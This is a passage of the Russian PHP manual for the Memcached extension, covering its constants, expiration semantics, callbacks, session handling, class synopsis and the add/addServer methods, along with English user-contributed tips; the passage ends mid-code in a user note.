Тип: bool, по умолчанию: false.

Memcached::OPT_SOCKET_SEND_SIZE

Максимальный размер буфера отправки для сокета в байтах.

Тип: int, по умолчанию: зависит от настроек платформы/ядра.

Memcached::OPT_SOCKET_RECV_SIZE

Максимальный размер буфера приёма для сокета в байтах.

Тип: int, по умолчанию: зависит от настроек платформы/ядра.

Memcached::OPT_CONNECT_TIMEOUT

В неблокирующем режиме задаёт время ожидания соединения для сокета в миллисекундах.

Тип: int, по умолчанию: 1000.

Memcached::OPT_RETRY_TIMEOUT

Задержка в секундах перед попыткой повторного соединения после ошибки.

Тип: int, по умолчанию: 0.

Memcached::OPT_SEND_TIMEOUT

Время ожидания отправки для сокета в микросекундах. В случаях, когда вы не можете использовать неблокирующий ввод/вывод это поможет вам сохранить время ожидания при отсылке данных.

Тип: int, по умолчанию: 0.

Memcached::OPT_RECV_TIMEOUT

Время ожидания чтения для сокета в микросекундах. В случаях, когда вы не можете использовать неблокирующий ввод/вывод это поможет вам сохранить время ожидания при чтении данных.

Тип: int, по умолчанию: 0.

Memcached::OPT_POLL_TIMEOUT

Период опроса сокета в миллисекундах.

Тип: int, по умолчанию: 1000.

Memcached::OPT_CACHE_LOOKUPS

Разрешает или запрещает кешировать результаты запросов к DNS.

Тип: bool, по умолчанию: false.

Memcached::OPT_SERVER_FAILURE_LIMIT

Задаёт максимальное количество неудачных попыток соединиться с сервером. После достижения этого предела сервер будет удалён.

Тип: int, по умолчанию: 0.

Memcached::HAVE_IGBINARY

Указывает, доступна ли поддержка сериализатора igbinary.

Тип: bool.

Memcached::HAVE_JSON

Указывает, доступна ли поддержка сериализатора JSON.

Тип: bool.

Memcached::HAVE_MSGPACK

Указывает, доступна ли поддержка сериализатора msgpack.

Type: bool.

Доступно с Memcached 3.0.0.

Memcached::HAVE_SESSION

Type: bool.

Доступно с Memcached 3.0.0.

Memcached::HAVE_SASL

Type: bool.

Доступно с Memcached 3.0.0.

Memcached::GET_EXTENDED

Флаг для Memcached::get(), Memcached::getMulti() и Memcached::getMultiByKey() дл того, чтобы также возвращались значения токена CAS.

Доступно с Memcached 3.0.0.

Memcached::GET_PRESERVE_ORDER

Флаг для Memcached::getMulti() и Memcached::getMultiByKey() для гарантированного возвращения ключей в том же порядке, как они были запрошены. Несуществующие ключи будут возвращены со значениями null.

Memcached::RES_SUCCESS

Операция прошла успешно.

Memcached::RES_FAILURE

Операция завершилась ошибкой.

Memcached::RES_HOST_LOOKUP_FAILURE

Ошибка запроса к DNS.

Memcached::RES_UNKNOWN_READ_FAILURE

Не удалось прочитать сетевые данные.

Memcached::RES_PROTOCOL_ERROR

Некорректная команда в протоколе memcached.

Memcached::RES_CLIENT_ERROR

Ошибка на стороне клиента.

Memcached::RES_SERVER_ERROR

Ошибка на стороне сервера.

Memcached::RES_WRITE_FAILURE

Не удалось записать сетевые данные.

Memcached::RES_DATA_EXISTS

Не удалось сравнить-и-обменять: вы пытаетесь изменить элемент, который был изменён после того, как вы его прочитали в последний раз.

Memcached::RES_NOTSTORED

Элемент не сохранён: но не из-за ошибки. Обычно такое означает, что не соблюдены предусловия команд "add" или "replace" либо что элемент находится в очереди на удаление.

Memcached::RES_NOTFOUND

Элемент с заданным ключом не найден (при операциях "get" или "cas").

Memcached::RES_PARTIAL_READ

Частичная ошибка чтения сетевых данных.

Memcached::RES_SOME_ERRORS

Какие-то ошибки возникли при мульти-запросе.

Memcached::RES_NO_SERVERS

Список серверов пуст.

Memcached::RES_END

Конец результирующего набора.

Memcached::RES_ERRNO

Системная ошибка.

Memcached::RES_BUFFERED

Операция помещена в буфер.

Memcached::RES_TIMEOUT

Превышено время ожидания операции.

Memcached::RES_BAD_KEY_PROVIDED

Некорректный ключ.

Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE

Не удалось создать сетевой сокет.

Memcached::RES_PAYLOAD_FAILURE

Проблемы с данными: не удаётся сжать/разжать или сериализовать/десериализовать значение.

Memcached::RES_AUTH_PROBLEM

Доступно с Memcached 3.0.0.

Memcached::RES_AUTH_FAILURE

Доступно с Memcached 3.0.0.

Memcached::RES_AUTH_CONTINUE

Доступно с Memcached 3.0.0.

Memcached::RES_E2BIG

Доступно с Memcached 3.0.0.

Memcached::RES_KEY_TOO_BIG

Доступно с Memcached 3.0.0.

Memcached::RES_SERVER_TEMPORARILY_DISABLED

Доступно с Memcached 3.0.0.

Memcached::RES_SERVER_MEMORY_ALLOCATION_FAILURE

Доступно с Memcached 3.0.0.

User Contributed Notes

Anonymous 24-Feb-2017 12:06
Note that with Memcached::OPT_BINARY_PROTOCOL enabled there is some (possibly significant) size overhead added at the TCP level.

If you have a high volume of small values being get/set, you should analyze the effect of this option on your overall traffic size with a network tool (e.g. tcpdump) before enabling it, especially if you pay for traffic in/out of your memcache instance.
igorsantos07 no gmail 28-Dec-2015 07:00
As per a StackOverflow answer (http://stackoverflow.com/a/9042985/102960, by @rid), this is the current list of Memcached Response constants:

00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
Allen Tsai 24-May-2011 03:04
Memcached::OPT_SERVER_FAILURE_LIMIT - once a server has hit this limit, the client's getResultMessage() will return "SERVER IS MARKED DEAD."  Further gets() for keys hashing to this server will continue returning this message, as will sets() hashing to the dead server.

Version 2.0.01b supports a constant Memcached::OPT_AUTO_EJECT_HOSTS which allows automatic rebalancing of the cluster/automatic failover handling.
akenney at onesite dot com 29-Dec-2010 08:13
Apparently there is a bug in libmemcached where connect timeout does not work when OPT_NO_BLOCK is set as well.

The bug and related blocking bugs are discussed here:
https://bugs.launchpad.net/libmemcached/+bug/583031

We confirmed this in libmemcached version 0.43

Be sure to test some memcache servers in your pool being unavailable (no route to host and memcache service down) to ensure that timeout settings are working correctly.
tyliu2 at gmail dot com 21-Jan-2010 10:07
RES_SUCCESS = 0
RES_FAILURE = 1
RES_HOST_LOOKUP_FAILURE = 2
RES_UNKNOWN_READ_FAILURE = 7
RES_PROTOCOL_ERROR = 8
RES_CLIENT_ERROR = 9
RES_SERVER_ERROR = 10
RES_WRITE_FAILURE = 5
RES_DATA_EXISTS = 12
RES_NOTSTORED = 14
RES_NOTFOUND = 16
RES_PARTIAL_READ = 18
RES_SOME_ERRORS = 19
RES_NO_SERVERS = 20
RES_END = 21
RES_ERRNO = 26
RES_BUFFERED = 32
RES_TIMEOUT = 31
RES_BAD_KEY_PROVIDED = 33
RES_CONNECTION_SOCKET_CREATE_FAILURE = 11
RES_PAYLOAD_FAILURE = -1001


Время хранения объекта

Некоторые команды сохранения отправляют на сервер время хранения (применительно к объектам или операциям, запрошенным клиентом). Во всех этих случаях фактическое время должно быть отправлено либо в формате Unix (количество секунд с 1 января 1970 года, в виде целого числа), либо как количество секунд с момента отправки/получения команды. В последнем случае это число не должно превышать 60*60*24*30 (количество секунд в 30 днях); если указано большее время хранения, сервер расценивает его как время в формате Unix.

Если время хранения равно 0 (по умолчанию), объект никогда не будет признан устаревшим (но при этом может быть удалён с сервера для высвобождения пространства под другие объекты).

User Contributed Notes

i dot caught dot air at gmail dot com 25-Oct-2017 06:11
A TTL of n seconds will expire between n and n-1 seconds as memcache doesn't use a high-resolution clock internally.

This is important to consider if you're working with very short TTLs.

See https://github.com/memcached/memcached/issues/307
valugi at gmail dot com 18-Nov-2016 11:48
The fact that one sets an expiration time does not mean that the keys will expire at that particular time. I'm not sure what is happening in the background, if there is a process like a garbage collector that expire keys, but some function do not activate the expiration check and return the key as valid, for example `getAllKeys` is not atomic and returns even expired keys.

$memcached = new Memcached();
$memcached->set('key','value',10);
//waiting more than 10 sec
sleep(20);
$data = $memcached->getAllKeys();
var_dump($data); // key will still be listed
$key = $memcached->get('key'); // will trigger the expiration


Функции обратного вызова

Содержание

  • Функции обратного вызова для результирующего набора
  • Функции обратного вызова сквозного чтения кеша

User Contributed Notes

There are no user contributed notes for this page.


Функции обратного вызова для результирующего набора

callable для результирующего набора вызываются методами Memcached::getDelayed() или Memcached::getDelayedBykey() для каждого элемента из результирующего набора. Функциям обратного вызова передаются объект Memcached и массив с информацией об элементе. Эти функции не должны ничего возвращать.

Пример #1 Пример функции обратного вызова

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$items = array(
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3'
);
$m->setMulti($items);
$m->getDelayed(array('key1', 'key3'), true, 'result_cb');

function result_cb($memc, $item)
{
var_dump($item);
}
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  ["key"]=>
  string(4) "key1"
  ["value"]=>
  string(6) "value1"
  ["cas"]=>
  float(49)
}
array(3) {
  ["key"]=>
  string(4) "key3"
  ["value"]=>
  string(6) "value3"
  ["cas"]=>
  float(50)
}

User Contributed Notes

edwarddrapkin at gmail dot com 11-Mar-2009 05:54
I was having trouble making method calls with the result callbacks in getDelayed, so I emailed the developer.

If you want to use a non-static method as a callback, use the following format: array($obj, 'method'); for example:

<?php
class foo {
    private $M = false;

    public function __construct() {
        $this->M = new Memcached();
        $this->M->addServer('localhost', 11211);
        $this->M->set('a', 'test');
    }

    public function test() {
        $this->M->getDelayed(array('a'), false, array($this, 'fun'));
    }

    public function fun() {
        echo "Great Success!";
    }
}

$f = new foo();
$f->test();
?>

or, alternatively:

<?php
class foo {
    public $M = false;

    public function __construct() {
        $this->M = new Memcached();
        $this->M->addServer('localhost', 11211);
        $this->M->set('a', 'test');
    }

    public function fun() {
        echo "Great Success!";
    }
}

$f = new foo();
$f->M->getDelayed(array('a'), false, array($f, 'fun'));
?>

Works great, thanks Andrei :)


Функции обратного вызова сквозного чтения кеша

Данные функции вызываются в случае, когда невозможно получить запрошенное значение. В функцию обратного вызова передаётся объект Memcached и запрошенный ключ, а так же передаётся по ссылке переменная для возврата значения. Функция должна вернуть false или true. Если true, то Memcached сохранит полученное значение и вернёт его оригинальной функции. Данные функции обратного вызова используются только с Memcached::get() и Memcached::getByKey(), так как протокол не предоставляет информации о том, какие ключи не найдены, при пакетных запросах.

Пример #1 Пример использования

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$profile_info = $m->get('user:'.$user_id, 'user_info_cb');

function user_info_cb($memc, $key, &$value)
{
$user_id = substr($key, 5);
/* ищем необходимые данные в БД */
/* ... */
$value = $profile_info;
return true;
}
?>

User Contributed Notes

chadkouse 27-Dec-2011 01:24
Or just set the value within the callback with your own custom expiration time and return false.  I think it's cleaner.
oorza2k5 at gmail dot com 20-Mar-2009 05:40
This isn't specified anywhere, so I had a gander at the source...

The expiry on read-through cache set values is set to 0, or forever.  This means if you want your key to implicitly expire, don't use the callback methods, instead check for boolean false as a return and manually set the value, at least for now.


Поддержка сессий

Memcached предоставляет собственный обработчик сессий, который можно использовать для хранения сессионных переменных в memcache. Для этого используется полностью отдельный экземпляр memcached, поэтому при необходимости вы можете использовать другой пул серверов. Ключи сессии хранятся с префиксом memc.sess.key., так что имейте это в виду, если будете использовать для сессий и обычного кеширования один и тот же пул серверов.

session.save_handler string

Установите для memcached для поддержки обработки сессий.

session.save_path string

Задаёт разделённый запятыми список записей hostname:port для определения пула серверов обрабатывающих сессии. К примеру "sess1:11211, sess2:11211".

User Contributed Notes

atesin > gmail 06-Aug-2020 08:22
moderator please merge these posts

an errata to my comment done on 2020-07-28 01:06 about tmpfs session dir...

the tmpfs directory i used to install session files is "/run" not "/tmp"...  as /tmp is auto (or manual) deleted sometimes
atesin > gmail 28-Jul-2020 01:06
memcached is great, is lightning fast, very versatile and useful, scalable, and is a must have for many projects

but if you only want speed to minimize session file blocking there is also a good alternative, tmpfs

https://eddmann.com/posts/storing-php-sessions-file-caches-in-memory-using-tmpfs/

maybe if you are in debian you already had session directory in tmp (mounted as tmpfs), but beware of daily cleaning process that can mess up your sessions

you can use this trick if you are in centos/other (like me) or even if you are in debian but want to get ride of /tmp cleaning task

i realized in my system /run is also mounted as tmpfs, so i shut php-fpm down, moved my php session dir to /tmp/, reconfigure php and start again... (you can adapt it to your situation)

  systemctl stop php-fpm
  cp -a /var/lib/php/session /tmp/php-session
  vim /etc/php-fpm-d/www.conf
  ------
  php_value[session.save_path] = /run/php-session
  ------
  systemctl start php-fpm

the only drawback is tmpfs is VOLATILE, just like memcached (data is lost on unmount/shutdown/power fail), to  circumvent this risk i wrote another service that restores/backup php session dir before/after php starts/stops... (UNTESTED!)

  vim /etc/systemd/system/php-session-backup.service
  ------
  # basic persistence for tmpfs php sessions

  [Unit]
  Description=PHP tmpfs sessions backup/restore on shutdown/boot
  Before=php-fpm.service

  [Service]
  Type=oneshot
  RemainAfterExit=true
  ExecStart=rm -fr /run/php-session
  ExecStart=cp -fa /var/lib/php/session /run/php-session
  ExecStop=rm -fr /var/lib/php/session
  ExecStop=cp -fa /run/php-session /var/lib/php/session

  [Install]
  WantedBy=multi-user.target
  ------
  systemctl enable php-session-backup

you can also complement this with a daily backup task in case of system crash so you will lose just one day

  crontab -e
  ------
  0 4 * * * rm -fr /var/lib/php/session;cp -fa /run/php-session /var/lib/php/session
  ------

this is very rough though, you can better use inotify + rsync, could take some ideas from here

https://blog.jmdawson.co.uk/persistent-ramdisk-on-debain-ubuntu/
velazcomtz dot miguel at gmail dot com 15-Nov-2018 11:22
Is important to address that memcached is not concurrent just as regular PHP sessions.

If you have two tabs and one of them takes too long to respond and try to log out on the second, the memcached server won't respond.
benoit dot delmotte at gmail dot com 31-Mar-2017 01:41
in case of multiples memcached servers,
the separator is a semicolon ( ; ) not a comma as written

example:
session.save_path = "sess1:11211; sess2:11211"
madalin at mgiworx dot co dot uk 24-Jul-2015 08:14
short mention: Memcached has authentication support.
Ian Maddox 03-Jul-2014 02:22
If you are setting data to the session and it immediately disappears and you aren't getting any warnings in your PHP error log, it's probably because your sessions expired sometime in the 1970s.

Somewhere between memcached 1.0.2 and 2.1.0, the memcached session handler became sensitive to the 30-day TTL gotcha (aka "transparent failover").  If your session.gc_maxlifetime is greater than 2592000 (30 days), the value is treated as a unix timestamp instead of a relative seconds count.

This issue is likely to impact anyone with long-running sessions who is upgrading from Ubuntu 12.04 to 14.04.
me at nileshgr dot com 08-Apr-2014 10:38
It seems a few people think saving sessions in memcache is more secure compared to saving in file-system (/tmp) especially when the discussion is about shared hosting.

This is not true. memcache has NO authentication; everybody & anybody can read session.save_path (which will contain the memcached daemon address).

FastCGI (PHP-FPM) is much much better when you're considering security and shared hosting.

If you want to share sessions across multiple servers transparently without having headaches of adding custom handlers, you can use NFS or something similar.
richard at fussenegger dot info 16-Jun-2013 08:56
The documentation is not complete, you can also pass the weight of each server and you can use sockets if you want. In your PHP ini:

<?php

// Sockets with weight in the format socket_path:port:weight
session.save_path = "/path/to/socket:0:42"

// Or more than one so that weight makes sense?
session.save_path = "/path/to/socket_x:0:42,/path/to/socket_y:0:666"

?>

And if you should ever want to access these servers in PHP:

<?php

$servers = explode(",", ini_get("session.save_path"));
$c = count($servers);
for ($i = 0; $i < $c; ++$i) {
  $servers[$i] = explode(":", $servers[$i]);
}
$memcached = new \Memcached();
call_user_func_array([ $memcached, "addServers" ], $servers);
print_r($memcached->getAllKeys());

?>
taubers at gmail dot com 04-Oct-2012 11:42
If you are using the memcache class for session handling your key is the PHP session ID.  This is different than when using the  memcached class.

Example with memcache:
GET nphu2u8eo5niltfgdbc33ajb62

Example with memcached:
GET memc.sess.key.nphu2u8eo5niltfgdbc33ajb62

For memcached, the prefix is set in the config:
memcached.sess_prefix = "memc.sess.key."
sstratton at php dot net 14-Jun-2011 12:48
While the previous poster has a point that Memcached can and will cleanup to make room for it's keys, the likelihood of active sessions (due to the likelihood that they will be written to again within 30 seconds) is fairly low provided you have your memory allocation properly alloted.
nfoo at naver dot com 28-Aug-2010 12:15
If you want to use 'memcacheD' extention not 'memcache' (there are two diffrent extentions) for session control,  you should pay attention to modify php.ini

Most web resource from google is based on memcache because It's earlier version than memcacheD. They will say as following

session.save_handler = memcache
session.save_path = "tcp://localhost:11211"

But it's not valid when it comes to memcacheD

you should modify php.ini like that

session.save_handler = memcached
session.save_path = "localhost:11211"

Look, there is no protocol indentifier
Andrei Darashenka 27-May-2009 07:56
This extension supports Session-locking!

by default
MEMC_SESS_LOCK_ATTEMPTS   30
MEMC_SESS_LOCK_WAIT       100000
MEMC_SESS_LOCK_EXPIRATION 30


Класс Memcached

(PECL memcached >= 0.1.0)

Введение

Представляет соединение к набору серверов memcached.

Обзор классов

class Memcached {
/* Методы */
public __construct(?string $persistent_id = null, ?callable $callback = null, ?string $connection_str = null)
public add(string $key, mixed $value, int $expiration = 0): bool
public addByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool
public addServer(string $host, int $port, int $weight = 0): bool
public addServers(array $servers): bool
public append(string $key, string $value): ?bool
public appendByKey(string $server_key, string $key, string $value): ?bool
public cas(
string|int|float $cas_token,
string $key,
mixed $value,
int $expiration = 0
): bool
public casByKey(
string|int|float $cas_token,
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool
public decrement(
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false
public decrementByKey(
string $server_key,
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false
public delete(string $key, int $time = 0): bool
public deleteByKey(string $server_key, string $key, int $time = 0): bool
public deleteMulti(array $keys, int $time = 0): array
public deleteMultiByKey(string $server_key, array $keys, int $time = 0): array
public fetch(): array|false
public fetchAll(): array|false
public flush(int $delay = 0): bool
public get(string $key, ?callable $cache_cb = null, int $get_flags = 0): mixed
public getAllKeys(): array|false
public getByKey(
string $server_key,
string $key,
?callable $cache_cb = null,
int $get_flags = 0
): mixed
public getDelayed(array $keys, bool $with_cas = false, ?callable $value_cb = null): bool
public getDelayedByKey(
string $server_key,
array $keys,
bool $with_cas = false,
?callable $value_cb = null
): bool
public getMulti(array $keys, int $get_flags = 0): array|false
public getMultiByKey(string $server_key, array $keys, int $get_flags = 0): array|false
public getOption(int $option): mixed
public getResultCode(): int
public getResultMessage(): string
public getServerByKey(string $server_key): array|false
public getServerList(): array
public getStats(?string $type = null): array|false
public getVersion(): array|false
public increment(
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false
public incrementByKey(
string $server_key,
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false
public isPersistent(): bool
public isPristine(): bool
public prepend(string $key, string $value): ?bool
public prependByKey(string $server_key, string $key, string $value): ?bool
public quit(): bool
public replace(string $key, mixed $value, int $expiration = 0): bool
public replaceByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool
public resetServerList(): bool
public set(string $key, mixed $value, int $expiration = 0): bool
public setByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool
public setMulti(array $items, int $expiration = 0): bool
public setMultiByKey(string $server_key, array $items, int $expiration = 0): bool
public setOption(int $option, mixed $value): bool
public setOptions(array $options): bool
public setSaslAuthData(string $username, string $password): bool
public touch(string $key, int $expiration = 0): bool
public touchByKey(string $server_key, string $key, int $expiration = 0): bool
}

Содержание

  • Memcached::add — Добавляет элемент с новым ключом
  • Memcached::addByKey — Добавляет новый элемент на заданный сервер
  • Memcached::addServer — Добавляет сервер в пул
  • Memcached::addServers — Добавляет несколько серверов в пул
  • Memcached::append — Добавляет данные к существующей записи
  • Memcached::appendByKey — Добавляет данные к существующей записи на заданном сервере
  • Memcached::cas — Сравнивает и устанавливает значение для записи
  • Memcached::casByKey — Сравнивает и устанавливает значение для записи на конкретном сервере
  • Memcached::__construct — Создаёт экземпляр класса Memcached
  • Memcached::decrement — Уменьшает числовое значение записи
  • Memcached::decrementByKey — Уменьшает числовое значение записи, хранящееся на определённом сервере
  • Memcached::delete — Удаляет запись
  • Memcached::deleteByKey — Удаляет запись с указанного сервера
  • Memcached::deleteMulti — Удаляет несколько записей
  • Memcached::deleteMultiByKey — Удаляет несколько записей с указанного сервера
  • Memcached::fetch — Извлекает следующий результат
  • Memcached::fetchAll — Извлекает все полученные записи
  • Memcached::flush — Аннулирует все записи в кеше
  • Memcached::get — Получение записи
  • Memcached::getAllKeys — Получает все ключи, хранящиеся на серверах
  • Memcached::getByKey — Получает запись с определённого сервера
  • Memcached::getDelayed — Запрашивает несколько записей
  • Memcached::getDelayedByKey — Запрашивает несколько записей с указанного сервера
  • Memcached::getMulti — Получает несколько записей
  • Memcached::getMultiByKey — Получает несколько записей с указанного сервера
  • Memcached::getOption — Получает значение Memcached параметра
  • Memcached::getResultCode — Возвращает результирующий код последней выполненной операции
  • Memcached::getResultMessage — Возвращает сообщение, описывающее результат выполнения последней операции
  • Memcached::getServerByKey — Получает информацию о сервере по ключу
  • Memcached::getServerList — Получает список серверов в пуле
  • Memcached::getStats — Получает статистику о серверах в пуле
  • Memcached::getVersion — Получает информацию о версии серверов в пуле
  • Memcached::increment — Увеличивает числовое значение записи
  • Memcached::incrementByKey — Увеличивает числовое значение записи, хранимой на указанном сервере
  • Memcached::isPersistent — Проверяет используется ли устойчивое соединение с сервером memcache
  • Memcached::isPristine — Проверяет создан ли уже экземпляр класса Memcached
  • Memcached::prepend — Добавляет данные в начало существующей записи
  • Memcached::prependByKey — Добавляет данные в начало существующей записи на указанном сервере
  • Memcached::quit — Закрывает все открытые соединения
  • Memcached::replace — Заменяет существующую запись с указанным ключом
  • Memcached::replaceByKey — Заменяет существующую запись с заданным ключом на указанном сервере
  • Memcached::resetServerList — Очищает список серверов
  • Memcached::set — Сохраняет запись
  • Memcached::setByKey — Сохраняет запись на указанном сервере
  • Memcached::setMulti — Сохраняет несколько записей
  • Memcached::setMultiByKey — Сохраняет несколько записей на указанном сервере
  • Memcached::setOption — Устанавливает значение параметра для Memcached
  • Memcached::setOptions — Устанавливает несколько Memcached параметров
  • Memcached::setSaslAuthData — Устанавливает учётные данные для аутентификации
  • Memcached::touch — Устанавливает новый срок хранения для записи
  • Memcached::touchByKey — Устанавливает новый срок хранения для записи на указанном сервере

User Contributed Notes

There are no user contributed notes for this page.


Добавляет элемент с новым ключом

  • « Memcached
  • Memcached::addByKey »
  • PHP Manual
  • Memcached
  • Добавляет элемент с новым ключом

Memcached::add

(PECL memcached >= 0.1.0)

Memcached::add — Добавляет элемент с новым ключом

Описание

public Memcached::add(string $key, mixed $value, int $expiration = 0): bool

Метод Memcached::add() похож на Memcached::set(), но операция добавления завершится ошибкой, если ключ key уже существует на сервере.

Список параметров

key

Ключ, под которым сохраняется значение.

value

Сохраняемое значение.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Метод Memcached::getResultCode() возвращает Memcached::RES_NOTSTORED, если переданный ключ уже существует.

Смотрите также

  • Memcached::addByKey() - Добавляет новый элемент на заданный сервер
  • Memcached::set() - Сохраняет запись
  • Memcached::replace() - Заменяет существующую запись с указанным ключом

User Contributed Notes

ilya dot chase at yandex dot ru 22-May-2019 08:57
Note that this operation is atomic, means that it's safe from race condition operation (since memcached is running in single process). You can use this method for locks and can be sure that two requests will not get "true" simultaneously using this method.
zhoujunwen888 at 126 dot com 17-Jun-2015 09:27
<?php
/**
 * Created by PhpStorm.
 * User: zhoujunwen
 * Date: 15/6/17
 * Time: ??4:51
 */
    $mem  = new Memcached();

    $mem->addServer('127.0.0.1',11211);
    if( $mem->add("mystr","this is a memcache test!",3600)){
        echo  '????????!';
    }else{
        echo '?????:'.$mem->get("mystr");
    }

?>


Добавляет новый элемент на заданный сервер

  • « Memcached::add
  • Memcached::addServer »
  • PHP Manual
  • Memcached
  • Добавляет новый элемент на заданный сервер

Memcached::addByKey

(PECL memcached >= 0.1.0)

Memcached::addByKey — Добавляет новый элемент на заданный сервер

Описание

public Memcached::addByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool

Memcached::addByKey() работает аналогично Memcached::add(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом key на конкретный сервер. Это полезно когда необходимо держать несколько связанных значений на конкретном сервере.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ, под которым сохраняется значение.

value

Сохраняемое значение.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Метод Memcached::getResultCode() возвращает Memcached::RES_NOTSTORED, если переданный ключ уже существует.

Смотрите также

  • Memcached::add() - Добавляет элемент с новым ключом
  • Memcached::set() - Сохраняет запись
  • Memcached::replace() - Заменяет существующую запись с указанным ключом

User Contributed Notes

There are no user contributed notes for this page.


Добавляет сервер в пул

  • « Memcached::addByKey
  • Memcached::addServers »
  • PHP Manual
  • Memcached
  • Добавляет сервер в пул

Memcached::addServer

(PECL memcached >= 0.1.0)

Memcached::addServer — Добавляет сервер в пул

Описание

public Memcached::addServer(string $host, int $port, int $weight = 0): bool

Memcached::addServer() добавляет указанный сервер в пул. При этом соединение установлено не будет, но если вы используете настройку консистентного распределения ключей (с помощью Memcached::DISTRIBUTION_CONSISTENT или Memcached::OPT_LIBKETAMA_COMPATIBLE), некоторые внутренние структуры данных будут обновлены. Таким образом, если вам необходимо добавить несколько серверов, предпочтительнее использовать Memcached::addServers() т.к. обновление данных происходит однократно.

Один и тот же сервер может встречаться в пуле несколько раз, потому что никаких проверок на дублирование вхождений нет. Но это не целесообразно; вместо этого нужно использовать параметр weight для повышения приоритета данного сервера.

Список параметров

host

Имя хоста memcache сервера. Если имя хоста будет недействительным, функции, работающие с данными установят результирующий код Memcached::RES_HOST_LOOKUP_FAILURE. В версии 2.0.0b1, данный параметр может также определять путь до unix сокет файла, например, /path/to/memcached.sock для использования сокета домена UNIX (UDS), в данном случае port должен быть установлен в 0.

port

Порт на котором работает сервер memcache. Обычно это 11211 порт. В версии 2.0.0b1, установите этот параметр в 0, при использовании сокета домена UNIX (UDS).

weight

Весовой коэффициент для заданного сервера по отношению к общему весу всех серверов в пуле. Данная настройка управляет вероятностью сервера быть выбранным для использования. Она используется только в случае консистентного распределения и обычно соответствует количеству памяти, доступному для memcache на сервере.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcached::addServer()

<?php
$m = new Memcached();

/* Добавляет 2 сервера в пул, вероятность быть выбранным
у второго сервера в 2 раза выше. */
$m->addServer('mem1.domain.com', 11211, 33);
$m->addServer('mem2.domain.com', 11211, 67);
?>

Смотрите также

  • Memcached::addServers() - Добавляет несколько серверов в пул
  • Memcached::resetServerList() - Очищает список серверов

User Contributed Notes

Dave 20-Nov-2012 10:42
As of version 2.0.0b1 you can use Unix socket.

<?php
$m = new Memcached();
$m->addServer('/path/to/socket',0);
?>

Not to be confused with Memcache that use 'unix:///path/to/socket'
mbarriolinares at gmail dot com 10-Sep-2012 06:55
Important to not call ->addServers() every run -- only call it if no servers exist (check getServerList() ); otherwise, since addServers() does not check for dups, it will let you add the same server again and again and again, resultings in hundreds if not thousands of connections to the MC daemon. Specially when using FastCGI.

Example:

<?php
class Cache {
        private $id;
        private $obj;

        function __construct($id){
                $this->id = $id;
